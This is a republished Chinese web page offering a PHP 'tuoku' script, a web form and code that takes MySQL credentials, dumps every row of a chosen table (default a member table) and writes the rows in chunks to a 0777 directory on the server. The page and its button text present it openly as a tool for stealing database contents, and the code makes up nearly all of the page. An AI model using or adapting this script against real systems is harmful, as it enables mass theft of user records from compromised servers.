mysql 脫褲(脫庫)泛型指令碼

來源:互聯網
上載者:User

簡介:這是mysql 脫褲(脫庫)泛型指令碼的詳細頁面,介紹了和php,有關的知識、技巧、經驗,和一些php源碼等。

class='pingjiaF' frameborder='0' src='http://biancheng.dnbcw.info/pingjia.php?id=337296' scrolling='no'>

儲存 myback.php

<html>
<head>
<title>TK:全面解密脫褲門內幕 --- hExIe Security Team...</title>

</head>


<body>
<h4>Mysql Database on Tables to Txt...</h4>
</br>
This is a Php Example.</br></br>#_
E-mail:go_root@hotmail.com </br></br>#_
Author:HYrz</br></br>
--------------------------------------------------------</br>
Start Main OK~
........

<form action="myback.php" method="POST" name="Submit">
<b>Host: </b>
<input type="text" name="host" value="127.0.0.1:3306"></br></br>
<b> User: </b>
<input type="text" name="user" value="root"></br></br>
<b> Password: </b>
<input type="text" name="pass" value="123456"></br></br>
<b> Database Check: </b>
<input type="text" name="database" value="test"></br></br>
<b> Tables is: </b>
<input type="text" name="table" value="tab_member"></br></br>
<b>New_Data Filename:</b>
<input type="text" name="back_file" value="data.txt"></br></br>
<h6>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</h6>
<input type="submit" name="submit" value="只要點擊馬上就脫褲">
</br>
<h6>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</h6>
</form>
</>
</body>

<?php
set_time_limit(0);
error_reporting(E_ALL);
$db_host = $_POST["host"];
$db_user = $_POST["user"];
$db_pass = $_POST["pass"];
$db_database = $_POST["database"];
$db_table = $_POST["table"];
$backDB_Filename = $_POST["back_file"];

if (!isset($db_host))
{
echo "Messagebox: Host Error!";
}elseif (!isset($db_user))
{
echo "Messagebox: User Error!";
}elseif (!isset($db_pass))
{
echo "Messagebox: Pass Error!";
}elseif (!isset($db_database))
{
echo "Messagebox: Database Error!";
}elseif (!isset($db_table))
{
echo "Messagebox: table Error!";
}elseif (!isset($backDB_Filename))
{
echo "Messagebox: backDB_Filename Error!";
} #endif
if (!is_dir('data_xiaosan'))
{
mkdir('data_xiaosan',0777);
}#endif
$sql = mysql_connect($db_host,$db_user,$db_pass) or die("Could not connect: " . mysql_error());
mysql_select_db($db_database,$sql) or die("Could not connect: " . mysql_error());
$result = mysql_query("SELECT * FROM $db_table",$sql) or
die("Could not connect: " . mysql_error());
$i = 0;
$tmp = '';
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
$i = $i+1;
$tmp .= implode("::", $row)."\n";
if(!($i%500)){
$filename = 'data_xiaosan/'.intval($i/500).'_$backDB_Filename';
file_put_contents($filename,$tmp);
$tmp = '';
}#endif
}#endwhile
mysql_free_result($result);
mysql_close($sql);
die("Messagebox : Data Write Success!!!");

?>

</html>

愛J2EE關注Java邁克爾傑克遜視頻站JSON線上工具

http://biancheng.dnbcw.info/php/337296.html pageNo:9

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.